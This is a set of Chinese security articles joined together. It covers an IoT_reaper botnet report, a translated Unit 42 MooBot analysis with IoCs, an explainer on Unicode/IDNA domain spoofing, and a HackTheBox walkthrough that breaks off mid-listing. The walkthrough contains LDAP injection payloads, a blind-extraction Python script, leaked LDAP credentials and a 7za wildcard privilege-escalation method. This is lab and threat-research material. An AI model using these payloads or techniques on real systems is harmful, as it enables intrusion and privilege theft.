**已经汇报到单台 reporter 的易感染设备数：超过2m，到 2017-10-18 为止；**
**单台 controller 累积控制设备数：超过28k，到 2017-10-24 为止；**
这两个数字之间有 显著差距，原因尚不明确。这可能是因为攻击者的实现导致在队列中加入了大量的不存在相应漏洞的设备, 或者是攻击者的 loader
处理能力不足而被动积压，也有可能是攻击者主动抑制了感染速度以减少暴露风险，或者是因为其他我们不得而知的原因。
**S 簇单台 C2 感染情况统计（2017-10-13 ～ 2017-10-23）**
****
时间分布：
国家分布:
被感染的前十国家:
与 mirai 初期感染情况对比
**S簇的近期样本变化情况**
****
我们会监控视野范围内样本变化情况。在10月23日，我们检测到S簇的如下URL内容发生变化：
**hxxp://162.211.183.192/sa**
变化情况如下表所示：
在原始报告的“样本的投入、C2
的布局和流量变化”一节已经提及：这是一个恶意代码样本，被控制者放置在downloader服务器上，被loader服务器投递，投递成功后会向controller报告心跳，启动扫描并将扫描到的易感染设备信息报告给reporter。
我们仔细观察更新后的样本发现：
新集成了一个 **新的漏洞利用** :<http://roberto.greyhats.it/advisories/20130227-dlink-dir.txt>
心跳会指向 **e.hl852.com/e.hl859.com**
样本中内置了 **9个硬编码的IP地址** ，扫描时，扫描目标地址会包含；
上述9个IP地址上有共计 34个端口会被频繁扫描：其中 **17个端口是硬编码的** ，样本会随机扫描其中的部分； **另外17个端口**
虽然会被频繁扫描，但是并未被直接硬编码到样本中。我们推测样本中隐藏了某段逻辑来扫描后面17个端口。
这第十个漏洞利用在样本中的调用过程：
上述9个硬编码的IP地址是：
217.155.58.226
85.229.43.75
213.185.228.42
218.186.0.186
103.56.233.78
103.245.77.113
116.58.254.40
201.242.171.137
36.85.177.3
对应的，我们可以观察到大网上这9个IP地址的流量在上述时间点以后开始增加：
34 个硬编码、没有硬编码但是会被扫描的端口号：
**S 簇的 C2 DNS流量变化**
****
S 簇先后使用了下面一组C2，对应的 DNS 流量图见后
**e.hi8520.com** ：对应图中最上方蓝色曲线；
**e.hl852.com** ：对应图中中间绿色曲线；
**e.ha859.com** ：对应途中底部黄色曲线；
**IoC**
****
hxxp://162.211.183.192/sa 41ef6a5c5b2fde1b367685c7b8b3c154
hxxp://162.211.183.192/sa f9ec2427377cbc6afb4a7ff011e0de77
hxxp://162.211.183.192/sa 76be3db77c7eb56825fe60009de2a8f2
hxxp://162.211.183.192/sa5 95b448bdf6b6c97a33e1d1dbe41678eb
hxxp://162.211.183.192/sa e9a03dbde09c6b0a83eefc9c295711d7
hxxp://162.211.183.192/sa 3d680273377b67e6491051abe17759db
hxxp://162.211.183.192/sa 726d0626f66d5cacfeff36ed954dad70
**传送门**
****
**[【僵尸网络】IoT_reaper : 一个正在快速扩张的新
IoT僵尸网络](http://bobao.360.cn/learning/detail/4582.html)** | 社区文章 |
**作者：Chao Lei, Zhibin Zhang, Cecilia Hu, Aveek Das
译者：知道创宇404实验室翻译组
原文链接：<https://unit42.paloaltonetworks.com/moobot-d-link-devices/>**
## 执行摘要
8月初，Unit 42研究人员发现攻击利用了D-Link（一家专门从事网络和连接产品的公司）制造的设备中的多个漏洞。被利用的漏洞包括：
1. [CVE-2015-2051](https://nvd.nist.gov/vuln/detail/CVE-2015-2051): D-Link HNAP SOAPAction 标头命令执行漏洞
2. [CVE-2018-6530](https://nvd.nist.gov/vuln/detail/CVE-2018-6530): D-Link SOAP 接口远程代码执行漏洞
3. [CVE-2022-26258](https://nvd.nist.gov/vuln/detail/CVE-2022-26258): D-Link 远程命令执行漏洞
4. [CVE-2022-28958](https://nvd.nist.gov/vuln/detail/CVE-2022-28958): D-Link 远程命令执行漏洞
如果设备遭到入侵，它们将完全由攻击者控制，攻击者可以利用这些设备进行进一步的攻击，例如分布式拒绝服务 (DDoS) 攻击。Unit
42研究人员捕获的攻击企图利用上述漏洞传播MooBot，这是一种Mirai变体，目标是运行Linux的暴露网络设备。
虽然D-Link已发布有关此处提及的所有漏洞的安全公告，但某些用户可能正在运行未修补或旧版本的设备。Unit 42强烈建议尽可能应用升级和补丁。
## 活动概述
整个攻击过程如图1所示：
图 1. 活动概览
## 被利用的漏洞
此次攻击利用了四个已知的漏洞。成功利用后，`wget`实用程序将从恶意软件基础设施下载MooBot样本，然后执行下载的二进制文件。漏洞相关信息如表1所示。
**ID** | **漏洞** | **描述** | **严重性**
---|---|---|---
1 | CVE-2015-2051 | D-Link HNAP SOAPAction Header 命令执行漏洞 | CVSS 2.0 版：10.0 高危
2 | CVE-2018-6530 | D-Link SOAP 接口远程代码执行漏洞 | CVSS 3.0 版：9.8 严重
3 | CVE-2022-26258 | D-Link 远程命令执行漏洞 | CVSS 3.0 版：9.8 严重
4 | CVE-2022-28958 | D-Link 远程命令执行漏洞 | CVSS 3.0 版：9.8 严重
表1. 利用的漏洞列表
## D-Link 利用有效负载
攻击者利用四个可能导致远程代码执行的D-Link漏洞，从主机`159.203.15[.]179`（[ZoomEye
搜索结果](https://www.zoomeye.org/searchResult?q=159.203.15%5B.%5D179 "ZoomEye
搜索结果")）下载MooBot下载程序。
#### 1\. CVE-2015-2051：D-Link HNAP SOAPAction Header 命令执行漏洞
![CVE-2015-2051 exploit payload, showing the connection to host
159.203.15\[.\]179, from which a MooBot downloader can be accessed.
](https://images.seebug.org/content/images/2022/09/13/1663048355000-3xgdaw.png-w331s)
图2. CVE-2015-2051利用有效负载
针对较旧的D-Link路由器的攻击利用了HNAP SOAP接口中的漏洞。攻击者可以通过盲目的操作系统命令注入来执行代码。
#### 2\. CVE-2018-6530：D-Link SOAP 接口远程代码执行漏洞
![CVE-2018-6530 exploit payload, showing the connection to host
159.203.15\[.\]179, from which a MooBot downloader can be
accessed.](https://images.seebug.org/content/images/2022/09/13/1663048356000-4nhomy.png-w331s)
图3. CVE-2018-6530利用有效负载
该漏洞是由于较旧的D-Link路由器在向SOAP接口发出的请求中未经确认地使用了“服务”参数。可以利用该漏洞允许未经身份验证的远程代码执行。
#### 3\. CVE-2022-26258：D-Link 远程代码执行漏洞
![CVE-2022-26258 exploit payload, showing the connection to host
159.203.15\[.\]179, from which a MooBot downloader can be
accessed.](https://images.seebug.org/content/images/2022/09/13/1663048356000-5gjomc.png-w331s)
图4. CVE-2022-26258利用有效负载
该利用针对`/lan.asp`组件中的命令注入漏洞。该组件未成功清理HTTP参数`DeviceName`的值，这可能导致任意命令执行。
#### 4\. CVE-2022-28958：D-Link 远程代码执行漏洞
![CVE-2022-28958 exploit payload, showing the connection to host
159.203.15\[.\]179, from which a MooBot downloader can be
accessed.](https://images.seebug.org/content/images/2022/09/13/1663048356000-6yegos.png-w331s)
图5. CVE-2022-28958利用有效负载
该漏洞针对`/shareport.php`组件中的远程命令执行漏洞。该组件未成功清理HTTP参数`value`的值，这可能导致任意命令执行。
## 恶意软件分析
与此攻击相关的所有工件如下表所示：
**文件名** | **SHA256** | **描述**
---|---|---
rt | B7EE57A42C6A4545AC6D6C29E1075FA1628E1D09B8C1572C848A70112D4C90A1 |
脚本下载器。它将MooBot下载到受感染的系统上，并将二进制文件重命名为Realtek。
wget[.]sh | 46BB6E2F80B6CB96FF7D0F78B3BDBC496B69EB7F22CE15EFCAA275F07CFAE075 |
脚本下载器。它将MooBot下载到受感染的系统上，并将二进制文件重命名为Android。
arc | 36DCAF547C212B6228CA5A45A3F3A778271FBAF8E198EDE305D801BC98893D5A |
MooBot可执行文件。
arm | 88B858B1411992509B0F2997877402D8BD9E378E4E21EFE024D61E25B29DAA08 |
MooBot可执行文件。
arm5 | D7564C7E6F606EC3A04BE3AC63FDEF2FDE49D3014776C1FB527C3B2E3086EBAB |
MooBot可执行文件。
arm6 | 72153E51EA461452263DBB8F658BDDC8FB82902E538C2F7146C8666192893258 |
MooBot可执行文件。
arm7 | 7123B2DE979D85615C35FCA99FA40E0B5FBCA25F2C7654B083808653C9E4D616 |
MooBot可执行文件。
i586 | CC3E92C52BBCF56CCFFB6F6E2942A676B3103F74397C46A21697B7D9C0448BE6 |
MooBot可执行文件。
i686 | 188BCE5483A9BDC618E0EE9F3C961FF5356009572738AB703057857E8477A36B |
MooBot可执行文件。
mips | 4567979788B37FBED6EEDA02B3C15FAFE3E0A226EE541D7A0027C31FF05578E2 |
MooBot可执行文件。
mipsel | 06FC99956BD2AFCEEBBCD157C71908F8CE9DDC81A830CBE86A2A3F4FF79DA5F4 |
MooBot可执行文件。
sh4 | 4BFF052C7FBF3F7AD025D7DBAB8BD985B6CAC79381EB3F8616BEF98FCB01D871 |
MooBot可执行文件。
x86_64 | 4BFF052C7FBF3F7AD025D7DBAB8BD985B6CAC79381EB3F8616BEF98FCB01D871 |
MooBot可执行文件。
表2. 攻击相关工件
Unit
42研究人员对下载的恶意软件样本进行了分析。基于其行为和模式，我们认为托管在`159.203.15[.]179`上的恶意软件样本与名为MooBot的Mirai僵尸网络的变体有关。
图6. MooBot随机字符串生成器
MooBot最明显的特性是包含字符串`w5q6he3dbrsgmclkiu4to18npavj702f`的可执行文件，它将用于生成随机字母数字字符串。
执行时，二进制文件打印`get haxored!`到控制台，生成具有随机名称的进程并清除可执行文件。
图7. MooBot创建流程
作为一个变体，MooBot继承了Mirai最重要的功能——具有嵌入式默认登录凭据和僵尸网络配置的数据部分——但MooBot没有使用Mirai的加密密钥`0xDEADBEEF`，而是使用`0x22`对其数据进行加密。
图8. MooBot配置解码功能
在从配置中解码其C2服务器`vpn.komaru[.]today`后，MooBot将发送一条消息通知C2服务器有一个新的MooBot在线。消息以硬编码的魔法值`0x336699`开头。
在我们分析时，C2服务器处于离线状态。根据代码分析，MooBot还会向C2服务器发送心跳消息，并解析来自C2的命令，对特定IP地址和端口号发起DDoS攻击。
## 结论
上面提到的漏洞攻击复杂性低，但对安全造成严重影响，可能导致远程代码执行。一旦攻击者以这种方式获得控制权，他们就可以通过将新受感染的设备纳入到其僵尸网络中来进行进一步的攻击，例如DDoS。
因此，我们强烈建议尽可能应用补丁和升级。
Palo Alto Networks 客户通过以下产品和服务获得针对漏洞和恶意软件的保护：
1. 具有威胁预防安全订阅的下一代防火墙可以通过威胁预防签名[38600](https://threatvault.paloaltonetworks.com/?query=38600), [92960](https://threatvault.paloaltonetworks.com/?query=92960), [92959](https://threatvault.paloaltonetworks.com/?query=92959)和[92533](https://threatvault.paloaltonetworks.com/?query=92533)来阻止具有最佳实践的攻击。
2. [WildFire](https://www.paloaltonetworks.com/products/secure-the-network/wildfire)可以通过静态签名检测来阻止恶意软件。
3. Palo Alto Networks IoT安全平台可以利用网络流量信息来识别设备的供应商、型号和固件版本，并识别易受上述CVE攻击的特定设备。
4. [高级URL过滤](https://www.paloaltonetworks.com/network-security/advanced-url-filtering)和[DNS安全](https://www.paloaltonetworks.com/network-security/dns-security)能够阻止C2域和恶意软件托管URL。
5. 此外，[IoT Security](https://www.paloaltonetworks.com/network-security/iot-security)具有内置的基于机器学习的异常检测功能，如果设备表现出非典型行为，例如突然出现来自新来源的流量、连接数量异常高或IoT应用有效载荷中通常出现的某些属性的无法解释的激增，则可以向客户发出警报。
## IOC
### 基础设施
#### MooBot C2
`vpn.komaru[.]today`
#### 恶意软件主机
http://159.203.15[.]179/wget.sh
http://159.203.15[.]179/wget.sh3
http://159.203.15[.]179/mips
http://159.203.15[.]179/mipsel
http://159.203.15[.]179/arm
http://159.203.15[.]179/arm5
http://159.203.15[.]179/arm6
http://159.203.15[.]179/arm7
http://159.203.15[.]179/sh4
http://159.203.15[.]179/arc
http://159.203.15[.]179/sparc
http://159.203.15[.]179/x86_64
http://159.203.15[.]179/i686
http://159.203.15[.]179/i586
### 工件
#### Shell 脚本下载器
**文件名** | **SHA256**
---|---
rt | B7EE57A42C6A4545AC6D6C29E1075FA1628E1D09B8C1572C848A70112D4C90A1
wget[.]sh | 46BB6E2F80B6CB96FF7D0F78B3BDBC496B69EB7F22CE15EFCAA275F07CFAE075
表3. Shell脚本下载器
#### MooBot样本
**文件名** | **SHA256**
---|---
arc | 36DCAF547C212B6228CA5A45A3F3A778271FBAF8E198EDE305D801BC98893D5A
arm | 88B858B1411992509B0F2997877402D8BD9E378E4E21EFE024D61E25B29DAA08
arm5 | D7564C7E6F606EC3A04BE3AC63FDEF2FDE49D3014776C1FB527C3B2E3086EBAB
arm6 | 72153E51EA461452263DBB8F658BDDC8FB82902E538C2F7146C8666192893258
arm7 | 7123B2DE979D85615C35FCA99FA40E0B5FBCA25F2C7654B083808653C9E4D616
i586 | CC3E92C52BBCF56CCFFB6F6E2942A676B3103F74397C46A21697B7D9C0448BE6
i686 | 188BCE5483A9BDC618E0EE9F3C961FF5356009572738AB703057857E8477A36B
mips | 4567979788B37FBED6EEDA02B3C15FAFE3E0A226EE541D7A0027C31FF05578E2
mipsel | 06FC99956BD2AFCEEBBCD157C71908F8CE9DDC81A830CBE86A2A3F4FF79DA5F4
sh4 | 4BFF052C7FBF3F7AD025D7DBAB8BD985B6CAC79381EB3F8616BEF98FCB01D871
x86_64 | 3B12ABA8C92A15EF2A917F7C03A5216342E7D2626B025523C62308FC799B0737
表4. MooBot样本
## 其他资源
[针对网络安全设备的新Mirai变体](https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/) \- Unit 42, Palo Alto Networks
[网络攻击趋势：互联网威胁（2020年11月至2021年1月）](https://unit42.paloaltonetworks.com/network-attack-trends-winter-2020/) \- Unit 42, Palo Alto Networks
* * * | 社区文章 |
# url中的unicode漏洞引发的域名安全问题
在今年的blackhat中微软安全研究员Jonathan
Birch，向大家介绍了一个unicode漏洞，此漏洞影响了现在的大部分的软件，语言，浏览器，产生了数个CVE漏洞。跟随着大佬大脚步，我也想去了解这个漏洞。为了记录自己的学习成果，于是写下了这篇博客。
## 0x00基础知识
在理解漏洞之前，现了解下unicode和ascii编码，IDNA吧
### unicode编码
**Unicode**
（中文：万国码、国际码、统一码、单一码）是计算机科学领域里的一项业界标准。它对世界上大部分的文字系统进行了整理、编码，使得计算机可以用更为简单的方式来呈现和处理文字。
Unicode 伴随着通用字符集的标准而发展，同时也以书本的形式对外发表。Unicode
至今仍在不断增修，每个新版本都加入更多新的字符。当前最新的版本为2019年5月公布的12.1.0，已经收录超过13万个字符（第十万个字符在2005年获采纳）。Unicode涵盖的数据除了视觉上的字形、编码方法、标准的字符编码外，还包含了字符特性，如大小写字母。
## ascii编码
ASCII（American Standard Code for Information
Interchange，美国信息交换标准代码）是基于拉丁字母的一套电脑编码系统，它主要用于显示现代英语，而其扩展版本EASCII则可以部分支持其他西欧语言，并等同于国际标准ISO/IEC
646。
ASCII
由电报码发展而来。第一版标准发布于1963年，1967年经历了一次主要修订，最后一次更新则是在1986年，至今为止共定义了128个字符；其中33个字符无法显示（一些终端提供了扩展，使得这些字符可显示为诸如笑脸、扑克牌花式等8-bit符号），且这33个字符多数都已是陈废的控制字符。控制字符的用途主要是用来操控已经处理过的文字。在33个字符之外的是95个可显示的字符。用键盘敲下空白键所产生的空白字符也算1个可显示字符（显示为空白）。
ASCII码大致由三部分组成： **ASCII 打印字符** 、 **ASCII 非打印控制字符** 、 **扩展 ASCII 打印字符**
### IDNA（Internationalizing Domain Names in Applications）应用程序国际化域名
IDNA是一种以标准方式处理ASCII以外字符的一种机制，它从unicode中提取字符，并允许非ASCII码字符以允许使用的ASCII字符表示。
国际化域名(IDN)最初是由马丁·杜斯特于1996年12月提出。1998年在新加坡国立大学教授陈定炜的指导下，Tan Juay Kwang和Leong
Kok
Yong将其付诸实施。经过许多讨论和对比各种提案后，应用程序国际化域名（IDNA)被采纳为正式标准，并被用在许多顶级域名中。在IDNA中，“国际化域名”特指可以成功将IDNA转化为十进位制ASCII的域名。
## 0x01漏洞分析
### 1、域名欺骗
先看一个有趣的东西，访问此网站`http://Вaidu.com`(其中的В是unicode U+0412)
它是不是跳转到了`http://xn--aidu-f4d.com/`。
当然，你也可以试试使用其他特殊的unicode编码。
下面，看下整个过程吧
先讲下跳转的url的含义
**<http://xn--aidu-f4d.com/>**
`xn`:ACE(这是一个国际化域名编码)
`aidu`:ASCII码
`f4d`:状态机指令
现在，我们来看看具体过程
当我们访问`http://Вaidu.com`时，浏览器会将我们访问的url交给域名系统(DNS)解析url为ip地址，在解析url的过程中采用递归查询和迭代查询，即先递归搜索浏览器自己的的dns缓存，然后搜索操作系统的dns缓存，接着搜索hosts文件缓存，搜索本地域名服务器，然后迭代搜索根域名服务器……，知道找到ip地址为止，找不到就返回404notfound，而在DNS中，国际化域名(IDNA)使用Punycode转写并以美国信息交换标准代码（ASCII）字符串储存。在本地DNS中，因为遇见特殊字符В，而无法将此url正常转化为ASCII，因此就直接在本地转化为`http://xn
--aidu-f4d.com/`这种形式的url。
下面是burpsuite抓取的本地解析完成后的截图。
* * *
**而IDNA转写ASCII的过程又分为两步**
**1\. Normalization**
Convert characters to a “standardized form”.
第一步：正常化，将字符转化为标准形式
例如：Å (U+00C5),Å (U+212B),Å (U+0041, U+030A)将会被标准化为å (U+00E5)
**2\. Punycoding**
Turn Unicode into ASCII.
第二步：用punycode编码将unicode编码成ASCII码
现在我们已经知道，在我们访问域名`http://Вaidu.com`时，浏览器会将此unicode转化为ASCII码，然后访问`http://xn--aidu-f4d.com/`,如果我们注册了`http://xn--aidu-f4d.com/`这个域名，那么我们就可以将访问`http://Вaidu.com`的受害者转到这个域名下，从而实现钓鱼攻击。
* * *
### 2、域名分割
如果你再尝试下访问`http://evil.c℀a.aaa.com`
这个时候你会发现你的浏览器会访问`http://evil.ca/ca.aaa.com`。
在unicode中还有一种字符`℀`(U+2100)，当IDNA处理此字符时，会将`℀`变成a/c，因此当你访问此url时，dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时，只对域名做了限制，那么通过这种方法，我们就可以轻松绕过服务器对域名的限制了。
**但是为什么同样是unicode字符，但是会产生不同结果呢？**
首先我们要明确一点就是，IDNA并不是所有unicode都可以以ASCII码呈现的
unicode转ASCII发生在IDNA中的TOASCII操作中。如果能通过TOASCII转换时，将会以正常的字符呈现。而如果不能通过TOASCII转换时，就会使用“ACE标签”，“ACE”标签使输入的域名能转化为ASCII码。
**那还有其他可以利用的unicode字符吗？**
U+2100, `℀` U+2101, `℁` U+2105, `℅` U+2106, `℆` U+FF0F,`／` U+2047, `⁇` U+2048,
`⁈` U+2049, `⁉`
U+FE16, `︖` U+FE56, `﹖` U+FF1F,`？` U+FE5F, `﹟` U+FF03, `＃` U+FE6B, `﹫` U+FF20,
`＠`
* * *
### 3、漏洞IDNA版本
**IDNA2008** 阻断了分割域名的字符
**IDNA2003** 和 **IDNA2008 + UTS46** 存在漏洞
## 0x03关联CVE
• CVE-2019-0654 Microsoft Browser Spoofing Vulnerability
• CVE-2019-0657 .NET Framework and Visual Studio Spoofing Vulnerability
• CVE-2019-9636 Python, urlsplit does not handle NFKC normalization
• CVE-2019-10160 Python, urlsplit NFKD normalization vulnerability in
user:password@
• CVE-2019-2816 Oracle Java SE/Java SE Embedded, “Normalize normalization”
• CVE-2019-12290 LibIDN2, “Perform A-Label roundtrip for lookup functions by
default”
## 0x04参考
此文章来源于对2019blackhat `HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization`议程的理解。
`https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf`
`https://tools.ietf.org/html/rfc3490`
`https://zh.wikipedia.org/wiki/国际化域名`
`https://blog.csdn.net/kexiuyi/article/details/81125588`
`https://blog.csdn.net/qq_21993785/article/details/81188253` | 社区文章 |
# Compressed Token Format渗透笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## CTF
本文为渗透hackthebox
CTF靶机过程，本题难度等级为Insane。本次渗透学到几个比较有趣的Linux技巧，关键知识点涉及用户名爆破，ldap盲注，Stoken
OTP生成，命令执行以及Wildcard提权。
## PORT SCAN
端口扫描发现ssh及web端口
root@kali:~# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.122 --rate=1000
Starting masscan 1.0.3 (http://bit.ly/14GZzcT) at 2019-07-29 01:04:07 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.122
Discovered open port 80/tcp on 10.10.10.122
root@kali:~/pentest# nmap -A -sV -sS -p22,80 10.10.10.122
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-28 21:09 EDT
Nmap scan report for 10.10.10.122
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
|_http-title: CTF
## 用户名爆破
打开80端口，是一个php站，并且提示暴力爆破会ban IP
网站有一个登陆页面，使用用户名和OTP进行登陆，右键查看网页源码，看到一点注释提示，知道token的长度为81位数字。
<!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
<!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
对登陆页面简单测试，随便输入一个用户名，会提示用户名不存在
虽然主页提示，暴力爆破会ban
IP，但根据以往经验，不让你干什么，你就更加要干。尝试对用户名进行爆破（使用字典：seclist的multiplesources-users-fabian-fingerle.de.txt），发现如果用户名包含特殊符号，返回结果不提示`not found`。
这个字典可以爆出一个用户名：`ldapuser`，会提示`Cannot login`，加上用户名对特殊符号有识别，猜测存在ldap注入。
## ldap注入
猜测后台的代码为：`(&(username=value1)(password=value2))`，使用or注入的payload：`*))(|(uid=*`，拼接后就变成：
(&(username=*))(|(uid=*)(password=value2))
直接发送不会生效，进行两次urlencode后，使用以下payload，可以成功返回`Cannot login`，证明存在ldap注入
inputUsername=%25%32%61%25%32%39%25%32%39%25%32%38%25%37%63%25%32%38%25%37%35%25%36%39%25%36%34%25%33%64%25%32%61&inputOTP=1234
由于没有回显，只能进行盲注，第一步需要爆破存在什么参数，参数的fuzz字典参考：[ldap_attribute_dic](https://github.com/droope/ldap-brute/blob/master/wordlists/attribute_names)
使用`inputUsername=%25%32%61%25%32%39%25%32%39%25%32%38%25%37%63%25%32%38§uid§%25%33%64%25%32%61&inputOTP=1234`进行参数fuzz
fuzz出以下参数为：
mail Email Address
rfc822mailbox Email Address
name Full Name
pager Pager
sn Last Name
surname Last Name
uid User ID
其中`paper`比较特殊，怀疑是token，对此进行盲注，手工注入太慢，写一个python脚本进行爆破，根据提示为81位数字，不用太长时间就能爆出来。
#!/usr/bin/python3
import requests
def send_payload(payload):
post_data = {"inputUsername":payload,"inputOTP":"1234"}
req = requests.post("http://10.10.10.122/login.php",data=post_data)
if "Cannot login" in req.text:
return 1
def foo():
global token
for i in '0123456789':
payload = "%2A%29%29%28%7C%28pager%3D{}{}%2A".format(token,str(i)) # *))(|(pager={}{}*
if send_payload(payload):
token+=str(i)
token = ""
while len(token) < 81:
foo()
print("[+] token:{}".format(token))
最后爆出来token为`285449490011357156531651545652335570713167411445727140604172141456711102716717000`
## stoken
google了一下什么算法使用81位数字的token，查看第一条发现，原来题目`CTF`真正含义是`compressed token format`
生成token可以使用[stoken](https://github.com/cernekee/stoken)这个工具
安装使用方法：
apt-get install stoken
stoken import --token 285449490011357156531651545652335570713167411445727140604172141456711102716717000
使用`stoken-gui`随便设置了一个空密码，输入`1234`作为PIN，即可生成8位的OTP
注意：必须保证kali的时区与靶机时区一致，最好使用kali的图形界面。由于靶机是GMT，把kali的时区改成一致，用以下命令：
cp /usr/share/zoneinfo/GMT /etc/localtime
## 命令执行
使用`ldapuser`或者or注入payload，加上OTP密码可以进行登陆，成功登陆后跳转到一个命令执行的页面。
直接进行命令执行，但提示权限不够
User must be member of root or adm group and have a registered token to issue commands on this server
网上查到gidNumber是用于划分管理域的参数，因此使用`*))(|(gidNumber>=0`进行登陆绕过（其实用`*))(|(uid=*`也行）
通过命令执行，获取网址源码
获取 **login.php** 源码
<?php
session_start();
$strErrorMsg="";
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
$basedn = 'dc=ctf,dc=htb';
$usersdn = 'cn=users';
// This code uses the START_TLS command
$ldaphost = "ldap://ctf.htb";
$ldapUsername = "cn=$username";
$ds = ldap_connect($ldaphost);
$dn = "uid=ldapuser,ou=People,dc=ctf,dc=htb";
if (!empty($_POST))
{
//var_dump($_POST);
$username1 = $_POST['inputUsername'];
$OPT1 = $_POST['inputOTP'];
$regex='/[()*&|!=><~]/';
if (!preg_match($regex, $username1)) {
$username2 = urldecode($username1);
if(!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)){
print "Could not set LDAPv3rn";
}
else if (!ldap_start_tls($ds)) {
print "Could not start secure TLS connection";
}
else {
// now we need to bind to the ldap server
$bth = ldap_bind($ds, $dn, $password) or die("rnCould not connect to LDAP serverrn");
$filter = "(&(objectClass=inetOrgPerson)(uid=$username2))";
// fix to be sure that the user has a token string in the db. Without it you can bypass the OTP check with no token in the input form!
$filter = "(&(&(objectClass=inetOrgPerson)(uid=$username2))(pager=*))";
//echo $filter.PHP_EOL;
if ($search=@ldap_search($ds, $basedn, $filter)) {
$info = ldap_get_entries($ds, $search);
if($info["count"] > 0) {
$token_string = $info[0]['pager'][0];
//echo $token_string;
$token = exec("/usr/bin/stoken --token=$token_string --pin=0000");
if($token == $OPT1) {
$strErrorMsg = "Login ok";
$_SESSION['username'] = $username1;
header ('Location: /page.php');
}
else {
$strErrorMsg = "Cannot login";
}
}
else {
$strErrorMsg = "User $username1 not found";
}
}
}
}
}
?>
得到一组用户名和密码
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
SSH登陆后可以获取到user的flag
root@kali:~# ssh [email protected]
The authenticity of host '10.10.10.122 (10.10.10.122)' can't be established.
ECDSA key fingerprint is SHA256:N1/2S6I/kcd5HDQzbSvAZVI7yHQQgz+XmLdhk6yVHh4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.122' (ECDSA) to the list of known hosts.
[email protected]'s password:
[ldapuser@ctf ~]$ ls
user.txt
[ldapuser@ctf ~]$ cat user.txt
74a8exxxxxxxxxxxxxxxx4ee585
## Wildcard提权
在根目录发现一个`backup`文件夹，存放了一些备份文件，sh脚本和error日志
[ldapuser@ctf backup]$ ls
backup.1564391941.zip backup.1564392121.zip backup.1564392301.zip backup.1564392481.zip honeypot.sh
backup.1564392001.zip backup.1564392181.zip backup.1564392361.zip backup.1564392541.zip
backup.1564392061.zip backup.1564392241.zip backup.1564392421.zip error.log
**honeypot.sh**
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
脚本用于更新被ban的IP，定期备份`/var/www/html/uploads`中的文件，使用7za进行压缩后保存到`/backup`中，同时将报错信息保存到`/backup/error.log`，注意到压缩包的密码生成过程，读取到`root.txt`，因此这个定时任务的权限为root。
重点关注7za压缩的命令，其中使用了`*`通配符，可以考虑[Exploiting Wildcard for Privilege
Escalation](https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/)
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
其中使用了`-snl`，查看help
-snl : store symbolic links as links
我们可以通过软链接把`/root/root.txt`链接到`/var/www/html/uploads/root.txt`，不过由于密码不知道，唯一办法就是导致7za报错，把保存信息输出到`error.log`
这里需要使用7za读取listfiles的特性
Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...]
[<@listfiles...>]
例如`7za a backup.zip -t7z [@listfile](https://github.com/listfile
"@listfile").txt`，其中`listfile.txt`内容为`/tmp/*.zip`，那么7za会把`/tmp`中所有后缀是`.zip`压缩到`backup.zip`，如果找到到指定后缀的文件，将会产生报错信息。
总结一下思路：
1.在uploads新建一个`[@root](https://github.com/root "@root").txt`
2.将`/root/root.txt`软链接到`/var/www/html/uploads/root.txt`
3.7za压缩时，由于通配符的原因，`[@root](https://github.com/root
"@root").txt`被7za当成listfiles读取，而upload中不存在root.txt内容为扩展名的文件，将产生报错，内容写入error.log
查看一下`uploads`的权限为apache，需要使用之前的命令执行界面进行新建文件
[ldapuser@ctf html]$ ls -al
total 36
drwxr-xr-x. 6 root root 176 Oct 23 2018 .
drwxr-xr-x. 4 root root 33 Jun 27 2018 ..
-rw-r--r--. 1 root root 0 Jul 30 03:48 banned.txt
-rw-r-----. 1 root apache 1424 Oct 23 2018 cover.css
